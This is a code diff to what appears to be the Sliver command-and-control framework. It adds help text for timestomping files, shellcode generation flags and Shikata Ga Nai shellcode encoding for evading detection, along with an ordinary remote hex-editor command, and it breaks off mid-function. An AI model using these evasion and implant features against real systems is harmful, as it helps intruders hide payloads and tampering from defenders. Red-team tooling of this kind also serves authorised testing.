+		consts.DownloadStr:    downloadHelp,
+		consts.GrepStr:        grepHelp,
+		consts.HeadStr:        headHelp,
+		consts.TailStr:        tailHelp,
+		consts.UploadStr:      uploadHelp,
+		consts.MkdirStr:       mkdirHelp,
+		consts.RmStr:          rmHelp,
+		consts.ChtimesStr:     chtimesHelp,
+		consts.ProcdumpStr:    procdumpHelp,
+		consts.ElevateStr:     elevateHelp,
+		consts.RunAsStr:       runAsHelp,
+		consts.ImpersonateStr: impersonateHelp,
+		consts.RevToSelfStr:   revToSelfHelp,
+		consts.ExecuteStr:     executeHelp,
+		consts.ExecuteStr + sep + consts.ExecuteChildrenStr: executeChildrenHelp,
+		consts.ExecuteAssemblyStr:                           executeAssemblyHelp,
+		consts.ExecuteShellcodeStr:                          executeShellcodeHelp,
+		consts.MigrateStr:                                   migrateHelp,
+		consts.SideloadStr:                                  sideloadHelp,
+		consts.TerminateStr:                                 terminateHelp,
+		consts.AliasesStr:                                   loadAliasHelp,
+		consts.PsExecStr:                                    psExecHelp,
+		consts.BackdoorStr:                                  backdoorHelp,
+		consts.SpawnDllStr:                                  spawnDllHelp,
+		consts.MountStr:                                     mountHelp,
+		consts.ShikataGaNai:                                 shikataGaNaiHelp,
+		consts.ShellcodeEncodersStr:                         shellcodeEncodersHelp,
+		consts.ShellcodeEncodersStr + sep + "encode":        shellcodeEncodersEncodeHelp,
 
 		consts.WebsitesStr:                                  websitesHelp,
 		consts.ScreenshotStr:                                screenshotHelp,
@@ -129,6 +136,7 @@ var (
 
 [[.Bold]]About:[[.Normal]] Execute a program on the remote system with optional arguments, note the subprocess 
 arguments are be separated from the sliver 'execute' arguments with '--' 
+Use [[.Bold]]--background[[.Normal]] to start the process without waiting for output (use [[.Bold]]--stdout[[.Normal]]/[[.Bold]]--stderr[[.Normal]] to redirect).
 
 [[.Bold]]Example:[[.Normal]]
 execute /bin/bash --env FOO=1 -- -c env
@@ -139,6 +147,11 @@ FOO=1
 PWD=/Users/moloch/git/sliver
 SHLVL=1
 _=/usr/bin/env
+`
+
+	executeChildrenHelp = `[[.Bold]]Command:[[.Normal]] execute children
+
+[[.Bold]]About:[[.Normal]] List tracked background child processes started with [[.Bold]]execute --background[[.Normal]].
 `
 
 	jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -176,8 +189,8 @@ You can also stack the C2 configuration with multiple protocols:
 
 
 [[.Bold]][[.Underline]]++ Formats ++[[.Normal]]
-Supported output formats are Windows PE, Windows DLL, Windows Shellcode, Mach-O, and ELF. The output format is controlled
-with the --os and --format flags.
+Supported output formats include Windows PE, Windows DLL, Windows shellcode, macOS Mach-O, macOS shellcode (arm64),
+Linux ELF, and Linux shellcode (amd64/arm64). The output format is controlled with the --os and --format flags.
 
 To output a 64bit Windows PE file (defaults to WinPE/64bit), either of the following command would be used:
 	generate --mtls foo.example.com 
@@ -193,6 +206,21 @@ To output a Linux ELF executable file, the following command would be used:
 	generate --os linux --mtls foo.example.com 
 
 
+[[.Bold]][[.Underline]]++ Shellcode Options ++[[.Normal]]
+When generating shellcode (--format shellcode), you can tune the shellcode generator:
+	--shellcode-encoder <name|none> # Apply a shellcode encoder (see: shellcode-encoders)
+	--shellcode-compress        # Enable aPLib compression (windows, macOS, and Linux)
+	--shellcode-entropy 1|2|3   # (windows only) Entropy: 1=none (default), 2=random names, 3=random+encrypt
+	--shellcode-exitopt 1|2|3   # (windows only) Exit behavior: 1=exit thread (default), 2=exit process, 3=block
+	--shellcode-bypass 1|2|3    # (windows only) Bypass: 1=none, 2=abort on failure, 3=continue (default)
+	--shellcode-headers 1|2     # (windows only) PE headers: 1=overwrite (default), 2=keep
+	--shellcode-thread          # (windows only) Unmanaged EXE: run entrypoint as a new thread
+	--shellcode-unicode         # (windows only) Unmanaged DLL: pass Unicode command line
+	--shellcode-oep <uint32>    # (windows only) Override original entry point (0=default)
+
+Note: macOS and Linux shellcode currently only support --shellcode-compress; other options are Windows-only.
+
+
 [[.Bold]][[.Underline]]++ DNS Canaries ++[[.Normal]]
 DNS canaries are unique per-binary domains that are deliberately NOT obfuscated during the compilation process. 
 This is done so that these unique domains show up if someone runs 'strings' on the binary, if they then attempt 
@@ -298,9 +326,39 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
 	rmHelp = `[[.Bold]]Command:[[.Normal]] rm [remote path]
 [[.Bold]]About:[[.Normal]] Delete a remote file or directory.`
 
+	chtimesHelp = `[[.Bold]]Command:[[.Normal]] chtimes [--unix | --unix-ms | --rfc3339 | --rfc1123] <path> <atime> <mtime>
+[[.Bold]]About:[[.Normal]] Change access and modification times on a file (timestomp).
+
+[[.Bold]][[.Underline]]Time Formats[[.Normal]]
+Default (datetime): "2006-01-02 15:04:05"
+--unix: 1704067200
+--unix-ms: 1704067200000
+--rfc3339: 2024-01-01T00:00:00Z
+--rfc1123: Mon, 02 Jan 2006 15:04:05 MST
+
+[[.Bold]][[.Underline]]Examples[[.Normal]]
+chtimes /tmp/file "2024-01-01 12:34:56" "2024-01-01 12:35:56"
+chtimes --unix /tmp/file 1704112496 1704112556
+chtimes --unix-ms /tmp/file 1704112496000 1704112556000
+chtimes --rfc3339 /tmp/file 2024-01-01T12:34:56Z 2024-01-01T12:35:56Z
+chtimes --rfc1123 /tmp/file "Mon, 02 Jan 2006 15:04:05 MST" "Mon, 02 Jan 2006 16:04:05 MST"
+`
+
 	catHelp = `[[.Bold]]Command:[[.Normal]] cat <remote path> 
 [[.Bold]]About:[[.Normal]] Cat a remote file to stdout.`
 
+	editHelp = `[[.Bold]]Command:[[.Normal]] edit <remote path>
+[[.Bold]]About:[[.Normal]] Download a remote text file, edit it in a built-in TUI editor, and optionally upload changes.
+[[.Bold]]Keys:[[.Normal]] Normal mode uses vim-like navigation (h/j/k/l) and insert mode (i). Use :wq to save+quit or :q to quit.
+[[.Bold]]Syntax:[[.Normal]] Use --syntax <lexer> to force a lexer or --syntax-select to pick one interactively.
+[[.Bold]]Line Numbers:[[.Normal]] Use --line-numbers to start with line numbers on; toggle with :n.`
+
+	hexEditHelp = `[[.Bold]]Command:[[.Normal]] hex-edit [--max-size <size>] [--offset <byte offset>] <remote path>
+[[.Bold]]About:[[.Normal]] Download a remote file and edit it in a built-in hex editor, then optionally upload changes.
+[[.Bold]]Keys:[[.Normal]] Normal mode uses vim-like navigation (h/j/k/l). Use i for hex edit mode, a for ASCII edit mode, :wq to save+quit or :q to quit.
+[[.Bold]]Size Limit:[[.Normal]] Default max size is 8MB. Use --max-size to override (e.g., 512KB, 12MB).
+[[.Bold]]Offset:[[.Normal]] Use --offset to jump to a specific byte offset when opening the file.`
+
 	downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
 [[.Bold]]About:[[.Normal]] Download a file or directory from the remote system. Directories will be downloaded as a gzipped TAR file.
 [[.Bold]][[.Underline]]Filters[[.Normal]]
@@ -385,6 +443,42 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
 Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
 	generate --format shellcode
 `
+	shikataGaNaiHelp = `[[.Bold]]Command:[[.Normal]] shikata-ga-nai [local path to raw shellcode]
+[[.Bold]]About:[[.Normal]] Encodes shellcode with Shikata Ga Nai. This uses the same backend implementation as
+[[.Bold]]shellcode-encoders encode[[.Normal]] with the shikata_ga_nai encoder, but exposes SGN-specific options
+like architecture, iterations, and bad characters.
+
+[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
+Encode x64 shellcode with 3 iterations:
+	shikata-ga-nai -a amd64 -i 3 /tmp/payload.bin
+
+Avoid bad chars and write to a file:
+	shikata-ga-nai -b 000a0d -s /tmp/payload.sgn /tmp/payload.bin
+
+[[.Bold]]Related:[[.Normal]] shellcode-encoders encode --encoder shikata_ga_nai ...`
+
+	shellcodeEncodersHelp = `[[.Bold]]Command:[[.Normal]] shellcode-encoders
+[[.Bold]]About:[[.Normal]] Lists the shellcode encoders supported by the server along with architectures and descriptions.
+
+[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
+List encoders and supported architectures:
+	shellcode-encoders
+`
+
+	shellcodeEncodersEncodeHelp = `[[.Bold]]Command:[[.Normal]] shellcode-encoders encode [local path to raw shellcode]...
+[[.Bold]]About:[[.Normal]] Encodes one or more shellcode files using a server-side encoder. Encoder support depends on
+architecture; use [[.Bold]]shellcode-encoders[[.Normal]] to list valid combinations.
+
+[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
+Encode a single file with shikata_ga_nai:
+	shellcode-encoders encode --encoder shikata_ga_nai --arch amd64 /tmp/payload.bin
+
+Encode multiple files and write outputs to a directory:
+	shellcode-encoders encode --encoder xor --arch amd64 -o /tmp/out payload1.bin payload2.bin
+
+Avoid bad characters with SGN:
+	shellcode-encoders encode --encoder shikata_ga_nai --arch 386 -b 000a0d -o /tmp/encoded.bin /tmp/payload.bin
+`
 
 	migrateHelp = `[[.Bold]]Command:[[.Normal]] migrate <flags>
 [[.Bold]]About:[[.Normal]] (Windows Only) Migrates into the process designated by <flags>.`

client/command/hexedit/commands.go

@@ -0,0 +1,37 @@
+package hexedit
+
+import (
+	"github.com/bishopfox/sliver/client/command/flags"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+)
+
+// Commands returns the hex-edit command.
+func Commands(con *console.SliverClient) []*cobra.Command {
+	hexEditCmd := &cobra.Command{
+		Use:     consts.HexEditStr + " <remote path>",
+		Short:   "Hex edit a remote file",
+		Long:    help.GetHelpFor([]string{consts.HexEditStr}),
+		Args:    cobra.ExactArgs(1),
+		GroupID: consts.FilesystemHelpGroup,
+		Run: func(cmd *cobra.Command, args []string) {
+			HexEditCmd(cmd, con, args)
+		},
+	}
+
+	flags.Bind("", false, hexEditCmd, func(f *pflag.FlagSet) {
+		f.String("max-size", "8MB", "maximum file size to load (e.g. 8MB, 512KB)")
+		f.Int64("offset", 0, "byte offset to jump to (decimal or 0x...)")
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+
+	carapace.Gen(hexEditCmd).PositionalCompletion(
+		carapace.ActionValues().Usage("path to the remote file to hex edit"),
+	)
+
+	return []*cobra.Command{hexEditCmd}
+}

client/command/hexedit/editor.go

@@ -0,0 +1,713 @@
+package hexedit
+
+import (
+	"fmt"
+	"strconv"
+	"strings"
+
+	"github.com/bishopfox/sliver/util"
+	tea "github.com/charmbracelet/bubbletea"
+	"github.com/charmbracelet/lipgloss"
+	"golang.org/x/term"
+)
+
+type editorMode int
+
+const (
+	modeNormal editorMode = iota
+	modeHexEdit
+	modeASCIIEdit
+	modeCommand
+)
+
+type exitAction int
+
+const (
+	actionNone exitAction = iota
+	actionQuit
+	actionSaveQuit
+)
+
+const bytesPerLine = 16
+
+type editorResult struct {
+	Data     []byte
+	Modified bool
+	Action   exitAction
+	Force    bool
+}
+
+type editorModel struct {
+	data          []byte
+	original      []byte
+	modified      []bool
+	modifiedCount int
+	cursor        int
+	top           int
+	width         int
+	height        int
+	mode          editorMode
+	command       string
+	commandPrefix rune
+	pending       rune
+	dirty         bool
+	forceQuit     bool
+	action        exitAction
+	filename      string
+	message       string
+	clearMessage  bool
+	nibbleSet     bool
+	nibbleValue   byte
+}
+
+var (
+	cursorStyle         = lipgloss.NewStyle().Reverse(true)
+	modifiedStyle       = lipgloss.NewStyle().Foreground(lipgloss.Color("215"))
+	modifiedCursorStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("215")).Reverse(true)
+	statusStyle         = lipgloss.NewStyle().Reverse(true)
+	lineStyle           = lipgloss.NewStyle()
+)
+
+func newEditorModel(data []byte, filename string, offset int) *editorModel {
+	copyData := append([]byte(nil), data...)
+	model := &editorModel{
+		data:          copyData,
+		original:      append([]byte(nil), data...),
+		modified:      make([]bool, len(copyData)),
+		mode:          modeNormal,
+		filename:      filename,
+		commandPrefix: ':',
+	}
+	if offset > 0 && offset < len(copyData) {
+		model.cursor = offset
+	}
+	return model
+}
+
+func (m *editorModel) Init() tea.Cmd {
+	if m.width == 0 || m.height == 0 {
+		if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
+			m.width = w
+			m.height = h
+		} else {
+			m.width = 80
+			m.height = 24
+		}
+		m.ensureCursorVisible()
+	}
+	return nil
+}
+
+func (m *editorModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
+	switch msg := msg.(type) {
+	case tea.WindowSizeMsg:
+		m.width = msg.Width
+		m.height = msg.Height
+		m.ensureCursorVisible()
+		return m, nil
+	case tea.KeyMsg:
+		if m.clearMessage {
+			m.message = ""
+			m.clearMessage = false
+		}
+		if msg.Type == tea.KeyCtrlC {
+			m.action = actionQuit
+			return m, tea.Quit
+		}
+		switch m.mode {
+		case modeCommand:
+			return m.handleCommand(msg)
+		case modeHexEdit:
+			return m.handleHexEdit(msg)
+		case modeASCIIEdit:
+			return m.handleASCIIEdit(msg)
+		default:
+			return m.handleNormal(msg)
+		}
+	}
+	return m, nil
+}
+
+func (m *editorModel) View() string {
+	if m.width == 0 || m.height == 0 {
+		if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
+			m.width = w
+			m.height = h
+		} else {
+			m.width = 80
+			m.height = 24
+		}
+		m.ensureCursorVisible()
+	}
+
+	textHeight := m.textHeight()
+	var b strings.Builder
+	for i := 0; i < textHeight; i++ {
+		lineIndex := m.top + i
+		b.WriteString(m.renderLine(lineIndex))
+		if i < textHeight-1 {
+			b.WriteByte('\n')
+		}
+	}
+
+	if m.height < 2 {
+		return b.String()
+	}
+
+	b.WriteByte('\n')
+	b.WriteString(statusStyle.Width(m.width).Render(m.statusLine()))
+
+	if m.height < 3 {
+		return b.String()
+	}
+
+	b.WriteByte('\n')
+	b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
+	return b.String()
+}
+
+func (m *editorModel) result() editorResult {
+	data := append([]byte(nil), m.data...)
+	return editorResult{
+		Data:     data,
+		Modified: m.dirty,
+		Action:   m.action,
+		Force:    m.forceQuit,
+	}
+}
+
+func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
+	switch msg.Type {
+	case tea.KeyEsc:
+		m.mode = modeNormal
+		m.command = ""
+		m.commandPrefix = ':'
+	case tea.KeyEnter:
+		m.executeCommand(strings.TrimSpace(m.command))
+		m.command = ""
+		m.mode = modeNormal
+		m.commandPrefix = ':'
+		if m.action != actionNone {
+			return m, tea.Quit
+		}
+	case tea.KeyBackspace:
+		m.command = popRune(m.command)
+	case tea.KeyRunes:
+		m.command += string(msg.Runes)
+	}
+	return m, nil
+}
+
+func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
+	switch msg.Type {
+	case tea.KeyEsc:
+		m.mode = modeNormal
+		m.nibbleSet = false
+	case tea.KeyBackspace:
+		if m.nibbleSet {
+			m.nibbleSet = false
+			return m, nil
+		}
+		m.moveLeft()
+	case tea.KeyLeft:
+		m.moveLeft()
+		m.nibbleSet = false
+	case tea.KeyRight:
+		m.moveRight()
+		m.nibbleSet = false
+	case tea.KeyUp:
+		m.moveUp()
+		m.nibbleSet = false
+	case tea.KeyDown:
+		m.moveDown()
+		m.nibbleSet = false
+	case tea.KeyRunes:
+		for _, r := range msg.Runes {
+			val, ok := hexNibble(r)
+			if !ok {
+				continue
+			}
+			if !m.nibbleSet {
+				m.nibbleValue = val << 4
+				m.nibbleSet = true
+				continue
+			}
+			m.setByte(m.nibbleValue | val)
+			m.nibbleSet = false
+			m.moveRight()
+		}
+	}
+	m.ensureCursorVisible()
+	return m, nil
+}
+
+func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
+	switch msg.Type {
+	case tea.KeyEsc:
+		m.mode = modeNormal
+	case tea.KeyLeft:
+		m.moveLeft()
+	case tea.KeyRight:
+		m.moveRight()
+	case tea.KeyUp:
+		m.moveUp()
+	case tea.KeyDown:
+		m.moveDown()
+	case tea.KeyRunes:
+		for _, r := range msg.Runes {
+			if r < 0 || r > 0xFF {
+				continue
+			}
+			m.setByte(byte(r))
+			m.moveRight()
+		}
+	}
+	m.ensureCursorVisible()
+	return m, nil
+}
+
+func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
+	switch msg.Type {
+	case tea.KeyEsc:
+		m.pending = 0
+	case tea.KeyLeft:
+		m.moveLeft()
+	case tea.KeyRight:
+		m.moveRight()
+	case tea.KeyUp:
+		m.moveUp()
+	case tea.KeyDown:
+		m.moveDown()
+	case tea.KeyRunes:
+		for _, r := range msg.Runes {
+			if m.handleNormalRune(r) {
+				break
+			}
+		}
+	}
+	m.ensureCursorVisible()
+	return m, nil
+}
+
+func (m *editorModel) handleNormalRune(r rune) bool {
+	if m.pending != 0 {
+		handled := true
+		switch m.pending {
+		case 'g':
+			if r == 'g' {
+				m.gotoTop()
+			} else {
+				handled = false
+			}
+		default:
+			handled = false
+		}
+		m.pending = 0
+		if handled {
+			return true
+		}
+	}
+
+	switch r {
+	case 'h':
+		m.moveLeft()
+	case 'j':
+		m.moveDown()
+	case 'k':
+		m.moveUp()
+	case 'l':
+		m.moveRight()
+	case '0':
+		m.moveLineStart()
+	case '$':
+		m.moveLineEnd()
+	case 'i':
+		m.mode = modeHexEdit
+		m.nibbleSet = false
+	case 'a':
+		m.mode = modeASCIIEdit
+	case 'x':
+		m.setByte(0x00)
+	case 'g':
+		m.pending = 'g'
+	case 'G':
+		m.gotoBottom()
+	case ':':
+		m.mode = modeCommand
+		m.command = ""
+		m.commandPrefix = ':'
+	}
+
+	return false
+}
+
+func (m *editorModel) executeCommand(cmd string) {
+	if cmd == "" {
+		return
+	}
+
+	if isNumericOffset(cmd) {
+		if value, err := strconv.ParseInt(cmd, 0, 64); err == nil {
+			m.gotoOffset(int(value))
+			return
+		}
+	}
+
+	switch strings.ToLower(cmd) {
+	case "q":
+		m.action = actionQuit
+	case "q!":
+		m.action = actionQuit
+		m.forceQuit = true
+	case "wq", "x":
+		m.action = actionSaveQuit
+	case "w":
+		m.message = "Use :wq to upload and exit"
+		m.clearMessage = true
+	default:
+		m.message = fmt.Sprintf("Unknown command: %s", cmd)
+		m.clearMessage = true
+	}
+}
+
+func (m *editorModel) renderLine(lineIndex int) string {
+	totalWidth := m.textWidth()
+	if totalWidth <= 0 {
+		return ""
+	}
+
+	if lineIndex >= m.totalLines() {
+		return lineStyle.Width(totalWidth).Render("~")
+	}
+
+	lineStart := lineIndex * bytesPerLine
+	hexCells := make([]string, bytesPerLine)
+	asciiCells := make([]string, bytesPerLine)
+
+	for i := 0; i < bytesPerLine; i++ {
+		idx := lineStart + i
+		if idx >= len(m.data) {
+			hexCells[i] = "  "
+			asciiCells[i] = " "
+			continue
+		}
+		byteVal := m.data[idx]
+		hexRaw := fmt.Sprintf("%02x", byteVal)
+		if idx == m.cursor && m.mode == modeHexEdit && m.nibbleSet {
+			hexRaw = string([]byte{hexChar(m.nibbleValue >> 4), '_'})
+		}
+		asciiRaw := string(printableByte(byteVal))
+		isModified := m.isModified(idx)
+		if idx == m.cursor {
+			if isModified {
+				hexCells[i] = modifiedCursorStyle.Render(hexRaw)
+				asciiCells[i] = modifiedCursorStyle.Render(asciiRaw)
+			} else {
+				hexCells[i] = cursorStyle.Render(hexRaw)
+				asciiCells[i] = cursorStyle.Render(asciiRaw)
+			}
+			continue
+		}
+		if isModified {
+			hexCells[i] = modifiedStyle.Render(hexRaw)
+			asciiCells[i] = modifiedStyle.Render(asciiRaw)
+			continue
+		}
+		hexCells[i] = hexRaw
+		asciiCells[i] = asciiRaw
+	}
+
+	var b strings.Builder
+	b.WriteString(fmt.Sprintf("%08x", lineStart))
+	b.WriteString(": ")
+	for i := 0; i < bytesPerLine; i++ {
+		if i == 8 {
+			b.WriteByte(' ')
+		}
+		b.WriteString(hexCells[i])
+		if i < bytesPerLine-1 {
+			b.WriteByte(' ')
+		}
+	}
+	b.WriteString("  |")
+	for i := 0; i < bytesPerLine; i++ {
+		b.WriteString(asciiCells[i])
+	}
+	b.WriteString("|")
+
+	return lineStyle.Width(totalWidth).Render(b.String())
+}
+
+func (m *editorModel) statusLine() string {
+	mode := "NORMAL"
+	switch m.mode {
+	case modeHexEdit:
+		mode = "HEX"
+	case modeASCIIEdit:
+		mode = "ASCII"
+	case modeCommand:
+		mode = "COMMAND"
+	}
+	fileName := baseName(m.filename)
+	if fileName == "" {
+		fileName = "[No Name]"
+	}
+	modified := ""
+	if m.dirty {
+		modified = " [+]"
+	}
+	cursor := m.cursor
+	return fmt.Sprintf(" %s  %s  Off 0x%08x (%d)  Size %s%s", mode, fileName, cursor, cursor, util.ByteCountBinary(int64(len(m.data))), modified)
+}
+
+func (m *editorModel) commandLine() string {
+	if m.mode == modeCommand {
+		return ":" + m.command
+	}
+	if m.message != "" {
+		return m.message
+	}
+	switch m.mode {
+	case modeHexEdit:
+		return "ESC: normal  hex: 0-9/a-f  :wq save+quit  :q quit"
+	case modeASCIIEdit:
+		return "ESC: normal  type to edit bytes  :wq save+quit  :q quit"
+	default:
+		return "i: hex edit  a: ascii edit  h/j/k/l move  x zero  :wq save+quit  :q quit"
+	}
+}
+
+func (m *editorModel) textHeight() int {
+	if m.height <= 2 {
+		return 1
+	}
+	return m.height - 2
+}
+
+func (m *editorModel) textWidth() int {
+	if m.width <= 0 {
+		return 1
+	}
+	return m.width
+}
+
+func (m *editorModel) totalLines() int {
+	if len(m.data) == 0 {
+		return 1
+	}
+	return (len(m.data) + bytesPerLine - 1) / bytesPerLine
+}
+
+func (m *editorModel) ensureCursorVisible() {
+	if len(m.data) == 0 {
+		m.cursor = 0
+		m.top = 0
+		return
+	}
+	if m.cursor < 0 {
+		m.cursor = 0
+	}
+	if m.cursor >= len(m.data) {
+		m.cursor = len(m.data) - 1
+	}
+
+	line := m.cursor / bytesPerLine
+	height := m.textHeight()
+	if line < m.top {
+		m.top = line
+	} else if line >= m.top+height {
+		m.top = line - height + 1
+	}
+	if m.top < 0 {
+		m.top = 0
+	}
+	maxTop := m.totalLines() - height
+	if maxTop < 0 {
+		maxTop = 0
+	}
+	if m.top > maxTop {
+		m.top = maxTop
+	}
+}
+
+func (m *editorModel) moveLeft() {
+	if len(m.data) == 0 {
+		return
+	}
+	if m.cursor > 0 {
+		m.cursor--
+	}
+}
+
+func (m *editorModel) moveRight() {
+	if len(m.data) == 0 {
+		return
+	}
+	if m.cursor < len(m.data)-1 {
+		m.cursor++
+	}
+}
+
+func (m *editorModel) moveUp() {
+	if len(m.data) == 0 {
+		return
+	}
+	if m.cursor >= bytesPerLine {
+		m.cursor -= bytesPerLine
+	}
+}
+
+func (m *editorModel) moveDown() {
+	if len(m.data) == 0 {
+		return
+	}
+	if m.cursor+bytesPerLine < len(m.data) {
+		m.cursor += bytesPerLine
+	}
+}
+
+func (m *editorModel) moveLineStart() {
+	if len(m.data) == 0 {
+		return
+	}
+	line := m.cursor / bytesPerLine
+	m.cursor = line * bytesPerLine
+}
+
+func (m *editorModel) moveLineEnd() {
+	if len(m.data) == 0 {
+		return
+	}
+	line := m.cursor / bytesPerLine
+	end := (line+1)*bytesPerLine - 1
+	if end >= len(m.data) {
+		end = len(m.data) - 1
+	}
+	m.cursor = end
+}
+
+func (m *editorModel) gotoTop() {
+	if len(m.data) == 0 {
+		m.cursor = 0
+		return
+	}
+	m.cursor = 0
+}
+
+func (m *editorModel) gotoBottom() {
+	if len(m.data) == 0 {
+		m.cursor = 0
+		return
+	}
+	m.cursor = len(m.data) - 1
+}
+
+func (m *editorModel) gotoOffset(offset int) {
+	if len(m.data) == 0 {
+		m.message = "Empty file"
+		m.clearMessage = true
+		return
+	}
+	if offset < 0 || offset >= len(m.data) {
+		m.message = fmt.Sprintf("Offset out of range: %d", offset)
+		m.clearMessage = true
+		return
+	}
+	m.cursor = offset
+	m.ensureCursorVisible()
+}
+
+func (m *editorModel) setByte(value byte) {
+	if len(m.data) == 0 {
+		m.message = "Empty file"
+		m.clearMessage = true
+		return
+	}
+	if m.cursor >= len(m.data) || m.cursor >= len(m.original) {
+		return
+	}
+	wasModified := m.modified[m.cursor]
+	orig := m.original[m.cursor]
+	m.data[m.cursor] = value
+	if value == orig {
+		if wasModified {
+			m.modified[m.cursor] = false
+			if m.modifiedCount > 0 {
+				m.modifiedCount--
+			}
+		}
+	} else if !wasModified {
+		m.modified[m.cursor] = true
+		m.modifiedCount++
+	}
+	m.dirty = m.modifiedCount > 0
+}
+
+func printableByte(b byte) byte {
+	if b >= 32 && b <= 126 {
+		return b
+	}
+	return '.'
+}
+
+func (m *editorModel) isModified(idx int) bool {
+	if idx < 0 || idx >= len(m.modified) {
+		return false
+	}
+	return m.modified[idx]
+}
+
+func hexChar(n byte) byte {
+	if n < 10 {
+		return '0' + n
+	}
+	return 'a' + (n - 10)
+}
+
+func hexNibble(r rune) (byte, bool) {
+	switch {
+	case r >= '0' && r <= '9':
+		return byte(r - '0'), true
+	case r >= 'a' && r <= 'f':
+		return byte(r-'a') + 10, true
+	case r >= 'A' && r <= 'F':
+		return byte(r-'A') + 10, true
+	}
+	return 0, false
+}
+
+func isNumericOffset(value string) bool {
+	value = strings.TrimSpace(value)
+	if value == "" {
+		return false
+	}
+	if strings.HasPrefix(strings.ToLower(value), "0x") {
+		_, err := strconv.ParseInt(value, 0, 64)
+		return err == nil
+	}
+	for _, r := range value {
+		if r < '0' || r > '9' {
+			return false
+		}
+	}
+	return true
+}
+
+func popRune(value string) string {
+	runes := []rune(value)
+	if len(runes) == 0 {
+		return value
+	}
+	return string(runes[:len(runes)-1])
+}
+
+func baseName(path string) string {
+	if path == "" {
+		return ""
+	}
+	clean := strings.ReplaceAll(path, "\\", "/")
+	if idx := strings.LastIndex(clean, "/"); idx != -1 {
+		return clean[idx+1:]
+	}
+	return path
+}

client/command/hexedit/hexedit.go

@@ -0,0 +1,349 @@
+package hexedit
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/client/command/filesystem"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/forms"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util"
+	"github.com/bishopfox/sliver/util/encoders"
+	tea "github.com/charmbracelet/bubbletea"
+	"github.com/spf13/cobra"
+	"google.golang.org/protobuf/proto"
+)
+
+const (
+	beaconPollInterval = 1 * time.Second
+)
+
+// HexEditCmd downloads a remote file, opens it in a hex editor, and optionally uploads changes.
+func HexEditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	remotePath := strings.TrimSpace(args[0])
+	if remotePath == "" {
+		con.PrintErrorf("Missing parameter: remote path\n")
+		return
+	}
+
+	maxSizeStr, _ := cmd.Flags().GetString("max-size")
+	maxSize, err := parseByteSize(maxSizeStr)
+	if err != nil {
+		con.PrintErrorf("Invalid --max-size %q: %s\n", maxSizeStr, err)
+		return
+	}
+	if maxSize <= 0 {
+		con.PrintErrorf("--max-size must be greater than zero\n")
+		return
+	}
+
+	offset, _ := cmd.Flags().GetInt64("offset")
+	if offset < 0 {
+		con.PrintErrorf("--offset must be zero or positive\n")
+		return
+	}
+
+	fetchSize := maxSize + 1
+	if fetchSize < maxSize {
+		fetchSize = maxSize
+	}
+
+	ctx, cancel := con.GrpcContext(cmd)
+	defer cancel()
+
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
+	download, err := downloadRemote(ctx, con, cmd, remotePath, fetchSize)
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if download.Response != nil && download.Response.Err != "" {
+		con.PrintErrorf("%s\n", download.Response.Err)
+		return
+	}
+	if !download.Exists {
+		con.PrintErrorf("Remote file does not exist: %s\n", remotePath)
+		return
+	}
+	if download.IsDir {
+		con.PrintErrorf("Remote path is a directory: %s\n", download.Path)
+		return
+	}
+
+	data := download.Data
+	if download.Encoder == "gzip" {
+		data, err = new(encoders.Gzip).Decode(download.Data)
+		if err != nil {
+			con.PrintErrorf("Decoding failed %s\n", err)
+			return
+		}
+	}
+
+	if int64(len(data)) > maxSize {
+		con.PrintErrorf("Remote file size %s exceeds --max-size %s\n", util.ByteCountBinary(int64(len(data))), util.ByteCountBinary(maxSize))
+		return
+	}
+
+	if offset > 0 {
+		if len(data) == 0 {
+			con.PrintErrorf("Offset %d out of range for empty file\n", offset)
+			return
+		}
+		if offset >= int64(len(data)) {
+			con.PrintErrorf("Offset %d out of range (file size %d bytes)\n", offset, len(data))
+			return
+		}
+	}
+
+	path := download.Path
+	if path == "" {
+		path = remotePath
+	}
+
+	for {
+		result, err := runHexEditor(data, path, int(offset))
+		if err != nil {
+			con.PrintErrorf("Editor error: %s\n", err)
+			return
+		}
+		data = result.Data
+
+		if result.Action == actionNone {
+			return
+		}
+
+		if !result.Modified {
+			if result.Action == actionSaveQuit {
+				con.PrintInfof("No changes to upload for %s\n", path)
+			}
+			return
+		}
+
+		switch result.Action {
+		case actionSaveQuit:
+			uploadNow, err := confirm("Upload changes to remote file (overwrite)?")
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+			if !uploadNow {
+				keepEditing, err := confirm("Continue editing?")
+				if err != nil {
+					con.PrintErrorf("%s\n", err)
+					return
